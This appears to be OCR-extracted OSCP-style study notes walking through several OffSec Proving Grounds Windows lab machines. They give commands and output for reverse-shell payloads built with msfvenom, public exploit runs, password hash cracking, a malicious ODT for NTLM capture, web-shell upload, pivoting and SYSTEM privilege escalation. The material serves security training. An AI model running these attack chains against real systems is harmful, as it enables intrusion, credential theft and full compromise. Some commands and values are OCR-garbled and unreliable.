445/tcp open microsoft-ds Windows Server (R) 2008 Standard 6001 Service Pack 1
microsoft-ds (workgroup: WORKGROUP)

3389/tcp open ms-wbt-server Microsoft Terminal Service

8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1

| http-cookie-flags:

|/

| JSESSIONID:

|_ httponly flag not set

|_http-title: ManageEngine ServiceDesk Plus

Service Info: Host: HELPDESK; OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/
o:microsoft:windows_server_2008:r2

Host script results:

|_clock-skew: mean: 2h40mO01s, deviation: 4h37m13s, median: -2s
| smb2-time:

| date: 2024-01-28T11:08:51

|_ start_date: 2024-01-28T10:53:49

| smb2-security-mode:

| 2:0:2:

|_  Message signing enabled but not required
| smb-security-mode:

| account_used: guest

| authentication_level: user

| challenge_response: supported

|_ message_signing: disabled (dangerous, but default)

| smb-os-discovery:

| OS: Windows Server (R) 2008 Standard 6001 Service Pack 1 (Windows Server (R) 2008
Standard 6.0)

| OS CPE: cpe:/o:microsoft:windows_server_2008::spl

| Computer name: HELPDESK

| NetBIOS computer name: HELPDESK\x00

| Workgroup: WORKGROUP\x00

|_ System time: 2024-01-28T03:08:57-08:00

|_nbstat: NetBIOS name: HELPDESK, NetBIOS user: <unknown>, NetBIOS MAC:
00:50:56:ba:5e:8e (VMware)

# LAB Steps:

— Firstly navigate to port 8080 :-> http://192.168.180.43:8080/

30/127


http://192.168.180.43:8080/

Username [ I

N\
ManageEngine)
ServiceDesk

Password | |

plug
[:] Keep me signed in Login|

rights reserved. Help Desk Software by ManageEngine ServiceDesk Plus | 7.6.0

— You can see the version is disclosed 7.6.0

— Just tried administrator/administrator by searching in google
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< C @ O A 192.168.180.43:3

Kali Linux & Kali Tools Exploit-DB OffSec @ Online - Reverse Shell ... Upgrading Shells - Ha... @ Reverse Shell CheatS...

/\\
ManageEngine

serviceoeskrlvc ‘im Requests ' Solutions i Admin i Reports i Support

| New Request | ¥ | | Quick Actions | ¥

Quick Create - New Request A My View ’ Global View | Scheduler |

Requester Name * :

| | &J LJ January 2024

Request Title * :

| | Sunday Monday
Description : 1

— Got access No I don't have any idea how to proceed so searhed for some exploits becasue
the version 7.6.0

@ GitHub
https://github.com > exploits > blob > master > CVE-2...

CVE-2014-5301.py - PeterSufliarsky/exploits

#!/usr/bin/python3 # This script exploits the directory traversal vulnerability in # ManageEngine
ServiceDesk Plus. It has been tested on version 7.6.0.

found one CVE exploit which gives reverse shell.

Link: https://github.com /PeterSufliarsky/exploits/blob/master/
CVE-2014-5301.py

to check how this works you can check the exploit documentation or read the exploit code.

# python3 CVE-2014-5301.py
Usage: ./CVE-2014-5301.py HOST PORT USERNAME PASSWORD WARFILE

we need a WARFILE to get the reverse shell to our netcat so using msfvenom get the shell.
war file ready.

# msfvenom -p java/shell_reverse_tcp LHOST=192.168.45.185 LPORT=4444 -f
war > shell.war
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https://github.com/PeterSufliarsky/exploits/blob/master/CVE-2014-5301.py
https://github.com/PeterSufliarsky/exploits/blob/master/CVE-2014-5301.py

root®kali /home/../offsec/pg/Win/Helpdesk
= java/shell reverse tcp LHOST=192.168.45.185 LPORT=4444 war > shell.war

Payload size: 12814 bytes
Final size of war file: 12814 bytes

Now we have the Username , password and the shell.war file now we can exploit.
Command:

# python3 CVE-2014-5301.py 192.168.180.43 8080 administrator administrator
shell.war

root®kali /home/../offsec/pg/Win/Helpdesk
= CVE-2014-5301.py 192.168.180.43 8080 administrator administrator shell.war
Trying http://192.168.180.43:8080/n0bI1Fw3AcBjjyK4FtELdEDY9rHeirCl/zalyruvforvyfcy/mzzIBhm5JQqycd7W
Trying http://192.168.180.43:8080/n0bI1Fw3AcBjjyK4FtELdEDY9rHeirCl/zalyruvforvyfcy/8anwfFpyOwkyyQFy

root@kali: /home/kali/offsec/pg/Win/Helpdesk 119x14

You can see we got the system access :)

we also got the proof.txt: 5311a7a8d36ea95b7639af358814d346

C:\Users\Administrator\Desktop>type proof.txt
type proof.txt

5311a7a8d36ea95b7639at358814d346

AuthBy [Medium] [20]

Brief:

— Got ftp open at 21 and has anonymous access
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— we got .htpasswd file got offsec user hash cracked with the john

— In one of the directory it is saying that there is a posibility to have a admin user

— Tried my luck with admin/admin at ftp 21 got admin access and this admin FTP service is
hosting a HTTP server files at 242.

— This 242 is protected with the login and we can login with the offsec/elite [cracked uisng
john] password

— Now we have access to the webserver via FTP 21 port as admin so searched for the
windows php reverse shell files in internet.

— Got one file and replaced with our IP's and uploaded via FTP 21 [as admin].

— Now go to the http://target:242/win rev shell.php we will be listening via netcat so we
will get access to the shell as apache user.

— Got the local.txt flag.

— Enumerated the system information

— The OS is very old version

— Searched for the kernel exploit.

— Downlowded the kernel exploit and crowsscomplied it.

— send the binary to the target.

— Execute it... we will get the highest privilges.

OS: Microsoftr Windows Serverr 2008 Standard 6.0.6001 Service Pack 1 Build 6001
IP: 192.168.152.46

Users: admin,offsec,anonymous, apache

Credetnails:

— offsec/elite

Ports (Try to list):

21 - ftp anon

242 - http

3145 - ftp

# nmap -p- -sV -sC 192.168.152.46 --open

NMAP Results:

PORT  STATE SERVICE VERSION

21/tcp open ftp zFTPServer 6.0 build 2011-10-17
| ftp-anon: Anonymous FTP login allowed (FTP code 230)

| total 9680

| ========-- 1 root root 5610496 Oct 18 2011 zFTPServer.exe
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http://target:242/win_rev_shell.php

| ---------- 1 root root 25 Feb 10 2011 UninstallService.bat
| ========-- 1 root root 4284928 Oct 18 2011 Uninstall.exe

| ======---- 1 root root 17 Aug 13 2011 StopService.bat

| ======m-- 1 root root 18 Aug 13 2011 StartService.bat
| ======eeee 1 root root 8736 Nov 09 2011 Settings.ini

| dr-xr-xr-x 1 root  root 512 Jan 29 02:02 log

| ======m-- 1 root root 2275 Aug 09 2011 LICENSE.htm

| ======eeee 1 root root 23 Feb 10 2011 InstallService.bat
| dr-xr-xr-x 1 root  root 512 Nov 08 2011 extensions

| dr-xr-xr-x 1 root  root 512 Nov 08 2011 certificates
|_dr-xr-xr-x 1 root root 512 Feb 18 2023 accounts

242 /tcp open http Apache httpd 2.2.21 ((Win32) PHP/5.3.8)
3145/tcp open zftp-admin zFTPServer admin

3389/tcp open ssl/ms-wbt-server?

|_ssl-date: 2024-01-28T18:02:59+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=LIVDA

| Not valid before: 2023-01-28T03:26:23

|_Not valid after: 2023-07-30T03:26:23

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Web Service Enumeration:
[+ Nikto]

[+ Fuzzing]

### LAB Steps:
— First started with the Port 21
seen anonymous access

# ftp 192.168.152.46 21
login with the anonymous/anonymous

Observed that the username with admin exist.
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ftp> dir
229 Entering Extended Passive Mode (|| |2066])
150 Opening connection for /bin/ls.

total 4
dr-xr-xr-x

root root 512 Feb 1 backup

1

1 root root 764 Feb acc[0ffsec].uac

1 root root 1032 Jan 2 acc[anonymous] . uac
root root 926 Feb 18 acc BRIy . uac

226 Closing data connection.

ftp> |

We can also do hydra on it and enumerate all possible users and their passwords.

but We can say that the username admin is there and Let's try to authenticate via admin/
admin login in same port 21 FTP.

root®kali /home/../offsec/pg/Win/Authby
= 192.168.152.46 21
Connected to 192.168.152.46.
220 zFTPServer v6.0, build 2011-10-17 14:25 ready.
Name (192.168.152.46:kali): admin

331 User name received, need password.
Password:

230 User logged 1n, proceed.

Remote system type i1s UNIX.

Using binary mode to transfer files.

Suprisingly we got access to admin

there is a file called .htpasswd
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ftp> dir

229 Entering Extended Passive Mode (|| |2063])
150 Opening connection for /bin/ls.

total 3

-r--r--r-- 1 root root 76 Nov 08 2011 index.

-r--r--r-- 1 root root 45 Nov 08 2011
-r--r--r-- 1 root root 161 Nov 08 2011

226 Closing data connection.

ftp> get .htpasswd

local: .htpasswd remote: .htpasswd

229 Entering Extended Passive Mode (|| [2064])

150 File status okay; about to open data connection.

get that file into our system using “get” command.
you can also get index.php and .htaccess

In .htaccess the Path of the web root wamp directory is disclosed.

htd((ess

1.19

root®kali /home/../offsec/pg/Win/Authby

# .htaccess

MiB/s

AuthName "Qui e nuce nuculeum esse volt, frangit nucem!"

AuthType Basic

AuthUserFile [<ANNYELIANUNIA. htpasswd

<Limit GET POST PUT>
Require valid-user
</Limit>

intresting things could be found in .htpasswd
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you can see that file contains the password hash of the offsec user
offsec:$aprl$oRfRsc/K$UpYpplHDlaemqseM39Ugg0

let's identify the hash try and crack using hashcat.

root&kali /home/../offsec/pg/Win/Authby

=

/\ \/\ N\ AN AN \ /\ \
AN U N W , R U N \/_/\\/ N\ \/\\
\ A\ \ /' '\ / ,_\\\ \ AN W W W W W W
LV VU O W W7 O W W N NP W W W W W AN W W W W W
AU VA U A ANAVA /N A\ N\ AN A\ /
\VANAVANAVERN AVAN AV | \VAWAV/ \/__/ \/_/ V1.2
By Zion3R
www.Blackploit.com #
Root@Blackploit.com #

:  HFHIFRHRIFHHR

Possible Hashs:

[+]

HashCat Command:
# hashcat -m 1600 .htpasswd /usr/share/wordlists/rockyou.txt --user

Using John:
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# john .htpasswd --wordlist=/usr/share/wordlists/rockyou.txt

Dictionary cache hit:
Filename..: /usr/share/wordlists/rockyou. txt
14344385
139921507
14344385

$apri$oRfRsc/K$UpYpplHDlaemqseM39Uggo : YRR
Session : hashcat
Status...........: Cracked

Hash.Mode........ : 1600 (Apache $aprl$ MD5, md5aprl, MD5 (APR))
Hash.Target...... . $aprl$oRfRsc/K$UpYpplHDlaemgseM39Uggo

you can see it was cracked.

offsec/elite

you can observe in the Nmap resuite there is an http server present and when we open that
it pop's up with asking username and password.

@ 192.168.152.46:242

This site is asking you to sign in.

Username

Password

let's try to give this offsec/elite and see the result.
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yeah that worked but just got the banner which has no use...

QO A 192.168.152.46:242

-DB OffSec @ Online - Reverse Shell ... Upgrading Shells - Ha... @) Reverse Shell CheatS... &) GitHub - pentestmonk...

Qui e nuce nuculeum esse volt, frangit nucem!

Now we know that the admin ftp 21 has some index.php and it is configured with this http
server so we can upload a php webshell and get the reverse shell..

we need a windows php reverse shell

Link: https://github.com/Dhayalanb/windows-php-reverse-shell

header( 'Content-type: text/plain’
"192.168.45.177"; //change this
”888&” //change this

"7Vh5VFPntJ9JDk1lIQgaZogY5aBSs1EXVRNCEWQLC

AAUUUQALgAVBEO8D+LBlWgcx0VqLK+4XIBw7vhEr9

we also need to chnage the path from C:\\windows\temp to C:\\wamp\www
gzinflate base64_decode

"C: '\ \wamp\
chdir

n

"Using dir :
"D3falt shell.exe”
fopen ‘'wb'

copy this to our directory and edit that file replace out IP. and upload it to the target machine
via ftp [admin]
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https://github.com/Dhayalanb/windows-php-reverse-shell

Mozilla Firefox
OffSec| Challenge L- X @ transulate - Google - X  €) windows-php-rever- X  192.168.152.46:242/win: X  +

cC @ O @ 192168.152.46:242/windows-rev-shellphp B [210% ¥ o n &
Kali Linux # Kali Tools Exploit-DB OffSec @ Online - Reverse Shell ... Upgrading Shells - Ha...

<br />

<font size='l'><table class='xdebug-error' dir='ltr"'
border='1"' cellspacing='0"' cellpadding='1"'>

<tr><th align='left' bgcolor="'#f57900' colspan="5"><span

root@kali: /nome/kali/offsec/pg/Win/Authby 86x17

style='background-color: #cc0000; color: #fce94f; font-
size: x-large;'>( ! )</span> Notice: Undefined variable:
res in C:\wamp\www\windows-rev-shell.php on line <i>11l</i>
</th></tr>

you can see wwe uploaded windows-rev-shell.php via " put’
and open that in the browser and listen via netcat you will get the shell.
and we got th first flag local.txt: 4103164fffc0191f31e1375b7e27fa50

for the user apache

C:\Users\apache\Desktop>type local.txt

type local.txt
103164fffc0191f31el375b7e27fa50

Privilege Escalation:
Started with the systeminfo

OS Name: Microsoftr Windows Serverr 2008 Standard
OS Version: 6.0.6001 Service Pack 1 Build 6001

the system type is x86 [32bit]
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C:\w dip\‘mw>sy5teminfo
systeminfo

Host Name: LIVDA

0S Name: Microsoftr Windows Serverr 2008 Standard
0S Version: 6.0.6001 Service Pack 1 Build 6001
0S Manufacturer: Microsoft Corporation

0S Configuration: Standalone Server

0S Build Type: Multiprocessor Free

Registered Owner: Windows User

Registered Organization:

Product ID: 92573-0EM-7502905-27565

Original Install Date: 12/19/2009, 11:25:57 AM

System Boot Time: 1/29/2024, 3:21:59 AM

System Manufacturer: VMware, Inc.

System Model: VMware Virtual Platform

System Type: X86-based PC

you can see the version is very very very old so we can search for any kernel exploits..

Microsoft Windows Server 2008 Standard 6.0.6001 Service Pack 1 Build 61 X
Videos Shopping Images News Books Maps Flights Finance
About 48,400 results (0.38 seconds)

Exploit-DB
https:/iwww.exploit-db.com > exploits

‘afd.sys' Local Privilege Escalation (MS11-046)

18 Oct 2016 — Exploit Title: Windows x86 (all versions) AFD privilege escalation (MS11-046) #
Date: 2016-10-16 # Exploit Author: Tomislav Paskalev ...

https://www.exploit-db.com /exploits /40564

42/127


https://www.exploit-db.com/exploits/40564

i wWindo P Pro SP3 x86 EN [5.1.2600]
= wWindo erver 2003 Ent SP2 EI [5.2.3790]
# windo ista Ult SP 86 EI [6.0.6001]
# wWindo ista ULt SP2 x86 EI [6.0.6002]
i wWindo erver 2008 Dat SP1 x86 EN [6.0.6001]
# Windows Server 2008 Ent SP2 x86 EN [6.0.6002]
2 Windows 7 HB x86 EN [6.1.7600]
# Windows 7 Ent SP1 x86 EN [6.1.7601]

# CVE ID: 2011-1249

you can see we got the exact version.

just donload that file using the searchsploit:

# searchsploit -m 40564

it's a .c file so we have to cross compile it.

command: [it is 32 bit [x86]]

# i686-w64-mingw32-gcc 40564.c -o pwn.exe -lws2_32

— And Now by using the smb server just transfer the pwn.exe file to the target system and
exeucte it to get the nt authority\system privileges..

age "ia

age (€ 4
Page File: Availa
Page File: In Use:
Page File Location(s):
Domain: WORKGROUP
Logon Server: N/A
: N/A
Card(s): N/A

C:\wamp\www>cd ..
cd ..

C:\wamp>copy \\192.168.45.173\test\pwn.exe
copy \\192.168.45.173\test\pwn.exe
1 file(s) copied.
0>, \pwn.exe
c:\Windows\System32>whoami
whoami

nt authority\system

c:\Windows\System32>j]

you can see we got the admin access we can also get the proof.txt : dd284e1065b57a8f-
43/127



79853a005da55eel

c:\Users\Administrator\Desktop>type proof.txt
type proof.txt

dd284e1065b57a8179853a005da55eel

Butch

Brief:

0S:
IP:
Users:

Credetials:
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Web Service Enumeration:
[+ Nikto]

[+ Fuzzing]

### LAB Steps:

Craft2 [High]
Brief:

— Port 80 upload functionality.

— .ODT files are uploadable the macros was fixed .

— Found exploit badodt.py exploit in github.

— And uploaded a malicious bad.odt file and got the ntim hash of one user via smbshare.
— Crack the ntlm hash and got access to smb and uploaded the windows php webshell and
got conection.

— and have 3306 port is open internally .

— Uisng ligolo got access to the |=internal and access the mysql service .

— Where this mysql serivice is ran ad LocalSystem user .

— So using the .dll privilehe escalation technique we are able to get the system privilege
access ..

OS: Windows [Hard]
Web-Technologies: php, apache
IP:

Users:

Credentials:

Ports (Try to list):
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80 — Upload .odt files !!

445 — smb

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
|_http-title: Craft
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7

135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
49666/tcp open msrpc Microsoft Windows RPC

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

| smb2-time:

| date: 2024-06-13T10:36:34

|_ start_date: N/A

| smb2-security-mode:

| 3:1:1:

|_  Message signing enabled but not required

Web Service Enumeration:
[+ Nikto]

[+ Fuzzing]

### LAB Steps:

— Just checking the normal web appplication Found Upload functionality !!
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A 192.168.182.188

acking DB OffSec GTFOBins Full TTYs | HackTricks |... @@ Online - Reverse Shell... @ Hash Type Identifier - I...

About Projects

<

Join our Team, Submit your resume

If we try to upload any php files it is showing only .odt files are allowed !!
These .odt files are a type of word files used by the libra office in linux !!
We created a macro in it and uploaded that .odt file

you can see when we upload it is shown as we are awarre of the macro phishing !!

& C @ O A& 192.168.182.188/uj

Kali Linux Exploit-DB Google Hacking DB OffSec GTFOBins Full TTYs | HackTricks |... @ Online - Reverse Shell ... @ Hash Type Identifier - 1...

You're resume was submitted, it will be reviewed shortly by our staff. We are also 3ol ye o) b E358E s feia =yl s nsB s e le (SN sy oA () DY

So We need to move with another exploit !!

) - [/home/../offsec/pg/Win/Craft2]
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you can see one exploit !!

—(root@kali)-[/home/../offsec/pg/Win/Craft2]
# python3 44564.py
File "/home/kali/offsec/pg/Win/Craft2/44564.py", line 27
print """

SyntaxError: Missing parentheses in call to 'print'. Did you me

—(root@kali) - [/home/../offsec/pg/Win/Craft2]
L# python2 44564.py
ezodf appears to be missing - try: pip install ezodf

But after installation also after installing all the dependancies also I was unable to run the
exploit !!

I have found another alternative exploit !!

https://github.com/rmdavy/badodf/blob/master/badodt.py

this exploit works for me !!

# python3 badodt.py
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https://github.com/rmdavy/badodf/blob/master/badodt.py

—(root@kali) - [/home/../offsec/pg/Win/Craft2]
# python3 badodt.py

[/ / \/ \V/
-/ / VAV VY VAV
[ 1 /7 1 AV AV AV VR
/ /IN_,_ /\__, [ \ / /_/

Create a malicious ODF document help leak NetNTLM Creds

By Richard Davy

@rd pentest

Python3 version by @gustanini
www.secureyourit.co.uk

HEEHERC G g U S = Elg 192 .168.45.176

/home/kali/offsec/pg/Win/Craft2/bad.odt successfully created

You can see we have entered our kali IP there !l and we got the bad.odt malicious file.
Now upload this bad.odt and turn on the SMB share in our kali !!
# impacket-smbserver test . -smb2support

After some time we got netV2 NTLM hash !!
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—(root@kali)-[/home/../offsec/pg/Win/Craft2]
L# impacket-smbserver test .
Impacket v0.12.0.devl - Copyright 2023 Fortra

Config file parsed
Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188
Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A

]

] V:3.0

] V:1.0

] Config file parsed

¥] Config file parsed

¥] Config file parsed

] Incoming connection (192.168.182.188,49691)

] AUTHENTICATE MESSAGE (CRAFT2\thecybergeek, CRAFT2)

] User CRAFT2\thecybergeek authenticated successfully

¥] thecybergeek: :CRAFT2:aaaaaaaaaaaaaaaa:54ca835d1760137fb7bd95dcbca7cfq
03001000410076004200570041004d006b004a000200100076004a005300450050006200
0000EEEEEEEEEEEEEEEEEEO30000086133d4ee0733a819b55e3a4c1lchb1c1188170033254
002e003100360038002e00340035002e003100370036000000000000000000
[*¥] Closing down connection (192.168.182.188,49691)

Let's try to crack it using hashcat !!

—(root@kali) - [/home/../offsec/pg/Win/Craft2]
L# hashcat thecybergeek.hash /usr/share/wordlists/rockyou.txt

5600 | NetNTLMv2 | Network Protocol

THECYBERGEEK: : CRAFT2: aaaaaaaaaaaaaaaa:30580ef742721fed876d1bd3e561ba22:0101(
1000410076004200570041004d006b004a000200100076004a0053004500500062007300730(
000000OOEONAONOLNOO30000086133d4ee0733a819b55e3a4c1lcb1c1188f700332547ae46894
003100360038002e00340035002e003100370036000000000000000000: winniethepooh

we are able to crack this hash !l and we got the password !!
thecybergeek : winniethepooh

We know there is SMB port is open let's try to access the SMB using smbclient with the
above credentials ..

# smbclient-L //192.168.182.188/ -U thecybergeek
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—(root@kali)-[/home/../offsec/pg/Win/Craft2]
# smbclient -L //192.168.182.188 thecybergeek
Password for [WORKGROUP\thecybergeek]:

Sharename Comment

Remote Admin
: Default share
IPC$ Remote IPC

Reconnecting with SMB1 for workgroup listing.

you can see the WebApp shares !!
let's try to access that share !!
# smbclient //192.168.182.188/WebApp -U thecybergeek

This is Connected to the web app port 80

—(root@kali)-[/home/../offsec/pg/Win/Craft2]

L# smbclient //192.168.182.188/WebApp thecybergeek
Password for [WORKGROUP\thecybergeek]:

Try "help" to get a list of possible commands.

smb: \> dir

assets

CSS
index.php
IE
upload.php
uploads

O >xr0>r 0000
w
U= 0= 0NN O n

= W

This is the windows machine and also they uses the php so let's to upload any windows php
reverse shell file !!

https: ithub.com/Dhavyalanb/windows-php-reverse-shell

smb: \> put windows-reverse-shell.php
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https://github.com/Dhayalanb/windows-php-reverse-shell/

smb: \> put windows-reverse-shell.php

putting file windows-reverse-shell.php as \windows-reverse-shell.php (33.
rage 39.8 kb/s)

smb: \> dir

Sat Jun 15 :55:26 2024
Sat Jun 15 :55:26 2024
Tue Apr 5 :16:03 2022
Tue Apr 5 :16:03 2022
Mon Jan 31 :21:52 2022
Tue Apr 5 :16:03 2022
Mon Jan 31 :23:02 2022
Sat Jun 15 :54:08 2024
Sat Jun 15 :55:26 2024

assets

CSS
index.php
IE
upload.php
uploads

indows-reverse-shell. php

>0 >0 30000

Now try to open this file in the webapp and listen on port 1234

—(root@kali)-[/home/../offsec/pg/Win/Craft2]

L# rlwrap nc -lvnp 1234

listening on [any] 1234

connect to [192.168.45.176] from (UNKNOWN) [192.168.182.188] 49716
b374k shell : connected

Microsoft Windows [Version 10.0.17763.2746]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs>whoami
whoami
craft2\apache

You can see we got the intial access !!

PS C:\Users\apache\Desktop> netstat -nat
Active Connections
Proto Local Address Foreign Address State Offload Stat

TCP AOMENE SEE e LISTENING InHost
TCP (el (z e SO E e LISTENING InHost
TCP .0.0.0:44 .0.0.0: LISTENING InHost
TCP .0.0.0:4 .0.0.0: LISTENING InHost
TCP al2ia sl Eie .0.0.0: LISTENING InHost
TCP .0.0.0: .0.0.0: LISTENING InHost

You can see the port 3306 is open !!

and we know that the default credetnails are root and no password.
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C:\xampp>type passwords.txt
type passwords.txt
### XAMPP Default Passwords ###

1) MySQL (phpMyAdmin):

User: root
Password:
(means no password!)

You can see the Mysql Service running by the LocalSystem User

PS C:\Users\apache\Desktop> emd /c sc qc Mysql

PS C:\Users\apache\Desktop> cmd /c sc qc Mysql
[SC] QueryServiceConfig SUCCESS

SERVICE NAME: Mysql
TYPE : 10 WIN32 OWN PROCESS
START TYPE : 2 AUTO START
ERROR CONTROL : 1 NORMAL

BINARY PATH NAME : C:\xampp\mysqgl\bin\mysqld.exe MySQL
LOAD ORDER GROUP

TAG

DISPLAY NAME

DEPENDENCIES

SERVICE START NAME

Uisng Ligolo Let's try to access the internal port 3306
Ligolo:
In Kali:

# ./proxy -selfcert
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—(root@kali) - [/home/kali/offsec/pivote]
L% ./proxy
WARN[0000] Using automatically generated self-signed certificates (Not recomme
INFO[0OOO] Listening on 0.0.0.0:11601
/ / / /___

7/ __\// \
/ /___ ////////////
/ /_/\_ /\ /_/\ /

/

France ¥ by @Nicocha30!

ligolo-ng » INFO[0033] Agent joined. name="CRAI
ligolo-ng

ligolo-ng » session

? Specify a session : 1 - #1 - CRAFT2\apache@CRAFT2 - 192.168.182.188:49723

In Target:

PS C:\Users\apache\temp> .\agent.exe -connect 192.168.45.176:11601 -ignore-cert
PS C:\Users\apache\temp> .\agent.exe -connect 192.168.45.176:11601 -ignore-cert

.\agent.exe -connect 192.168.45.176:11601 -ignore-cert

time="2024-06-15T21:05:42-07:00" level=warning msg="warning, certificate validation disabled"
time="2024-06-15T21:05:42-07:00" level=info msg="Connection established" addr="192.168.45.176:11601"

you can see we got the connection back !!
240.0.0.1/32 — connects to the internal port of target machine this is magic IP of ligolo.
# sudo ip route add 240.0.0.1/32 dev ligolo

# nmap 240.0.0.1 -p3306 -Pn

—(root@ kall /home/../otTtsec/pg/Win/Cratt2
# nmap 240.0.0.1

Starting Nmap 7.94SVN ( https://nmap.org ) at 20
Nmap scan report for 240.0.0.1

Host 1s up (0.044s latency).

PORT STATE SERVICE
3306/tcp open mysql
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You can see the port 3306 is now we can access !!
# mysql -h 240.0.0.1 -u root
Let's try to read the Adminsitrator Proof.txt ..

MariaDB [(none)]> SELECT LOAD_FILE('C:\\\\Users\\Administrator\\Desktop\
\proof.txt');

MariaDB [(none)]> SELECT LOAD FILE('C:\\\\Users\\Administrator\\Desktop\\proof.txt');

| 23c8ec150900b3b80chc967801182e90

We got the proof.txt but we need the Shell !!
Now as mysql is a localsystem user so we have complete access to the system via mysql !!
PrivEsc:

Read: https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/
windows-privilege-escalation /#diaghub

DiagHub PrivEsc:

Create a test.dll file

# msfvenom --platform windows --arch x64 -p windows/x64 /shell_reverse_tcp
LHOST=192.168.45.176 EXICFUNC=THREAD LPORT=443 -f dll -o test.dll

and upload to the target machine by create any test directory as a apache user !!
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https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#diaghub
https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#diaghub

PS C:\test\temp> iwr -uri http://192.168.45.176/test.dll -OutFile test.dll
PS C:\test\temp> dir

Directory: C:\test\temp

Mode LastWriteTime Length Name

6/15/2024 10:32 PM 9216 test.dll

Now Downlad the diaghub.exe located on /home/kali/Tib-Priv/Win/tools/
diaghub.exe

https: ithub.com/xct/diaghub/releases/download/0.1/diaghub.exe

PS C:\test\temp> iwr -uri http://192.168.45.176/diaghub.exe -OutFile diaghub.exe
PS C:\test\temp> dir

Directory: C:\test\temp

Mode LastWriteTime Length Name

6/15/2024 10:33 PM 16896 diaghub.exe

6/15/2024 10:32 PM 9216 test.dll

Now both diaghub.exe and test.dll are there in the target system !!

Now go to the mysql service and try to place the test.dll on the Windows\system32\ path ..

MariaDB [(none)]> select load_file('C:\\\ \test\ \temp\\test.dIll') into dumpfile 'C:\\
\\Windows\\System32\ \test.dll’;

MariaDB [(none)]> select load file('C:\\\\test\\temp\\test.dll') into dumpfile 'C:\\\\Windows\\System32\\test.dll';
Query OK, 1 row affected (0.116 sec)
Mariap@B [(none)]>

you can see we are able to do this now test.dll file is in the System32\ path !!

PS C:\test\temp> .\diaghub.exe C:\test\temp test.dll
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https://github.com/xct/diaghub/releases/download/0.1/diaghub.exe

PS C:\test\temp> .\diaghub.exe test.dll
Usage: ./diaghub.exe <valid path> <target dll (without path)>
Example: diaghub.exe C:\ProgramData xct.dll

dll
CoCreatelInstance
CoQueryProxyBlanket
CoSetProxyBlanket
CreateSession
CoCreateGuid
success

you can see we are able to execute this and listen on 443 port and we got the connect
back !!

—(root@kali) - [/home/../offsec/pg/Win/Craft2]

L# rlwrap nc -lvnp 443

listening on [any] 443 ...

connect to [192.168.45.176] from (UNKNOWN) [192.168.182.

whoamil

Microsoft Windows [Version 10.0.17763.2746]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32
C:\Windows\system32>whoami

nt authority\system

And we got the proof.txt !!
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C:\Windows\system32>type C:\Users\Administrator\Desktop\proof.txt
type C:\Users\Administrator\Desktop\proof.txt
23c8ec150900b3b80cbc96780T82e90

C:\Windows\system32>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Ethernet0 2:

Connection-specific DNS Suffix . :

IPv4 Address. . . . . . . . . . . : 192.168
Subnet Mask . . . . . . . . . . . : 255.255
Default Gateway . . . . . . . . . : 192.168

C:\Windows\system32>§§

Jacko [Medium]
Brief:

— Port 80 upload functionality.

— .ODT files are uploadable the macros was fixed .

— Found exploit badodt.py exploit in github.

— And uploaded a malicious bad.odt file and got the ntim hash of one user via smbshare.
— Crack the ntlm hash and got access to smb and uploaded the windows php webshell and
got conection.

— and have 3306 port is open internally .

— Uisng ligolo got access to the I=internal and access the mysql service .

— Where this mysql serivice is ran ad LocalSystem user .

— So using the .dll privilehe escalation technique we are able to get the system privilege
access ..
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0S: Windows [Hard]
Web-Technologies: php, apache
IP:

Users:

Credentials:

Ports (Try to list):

80 — Upload .odt files !!

445 — smb

NMAP Results:
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0

|_http-server-header: Microsoft-1I1S/10.0

| http-methods:

|_ Potentially risky methods: TRACE

|_http-title: H2 Database Engine (redirect)

135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?

5040/tcp open unknown

8082/tcp open http H2 database http console
|_http-title: H2 Console

9092/tcp open XmlIpcRegSvc?

49664 /tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC

59/127



Web Service Enumeration:
[+ Nikto]

[+ Fuzzing]

### LAB Steps:

— Started with the Web Application port 8082.
— There is h2 database console is running .

A Notsecure 192.168.225.66:8082/login.jsp?jsessionid=2c8adebfc8cf

| English v| Preferences Tools Help
Saved Settings: | Generic H2 (Embedded) v
Setting Name: ‘Generic H2 (Embedded) ’ Save ‘ ‘ Remove‘
Driver Class: org.h2.Driver ‘
JDBC URL: jdbc:h2:~/test ’
User Name: sa ’
Password: ‘

Connect Test Connection ‘

In the view pagesource : you can see the product name !!
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<p>
For more information, see <a target=" blank" href="http://www.h2database.com/html/features.html#database url">D
</p>

—(root@kali)-[/home/../offsec/pg/Win/Jacko]
L# searchsploit h2 database

H2 Database - 'Allias' Arbitrary Code Execution
H2 Database 1.4.196 - Remote Code Execution

H2 Database 1.4.197 - Information Disclosure

H2 Database 1.4.199 - INI Code Execution

Oracle Database 10 g - XML DB xdb.xdb pitrig pkg

you can see H2 Database 1.4.199 - JNI Code Execution — java/local/49384.txt

let's see the exploit !!

code to be paste:

-- Write native library
SELECT CSVWRITE('C:\Windows\Temp\INIScriptEngine.dll', CONCAT('SELECT NULL "',

CHAR(0x4d),CHAR(0x5a),CHAR(0x90),CHAR(0x00),CHAR(0X03),CHAR(....e.vv..... ),
(T ) T ) T T ) TR ) T ) T ),
(T ) T, ) T ) TR ) TR ),

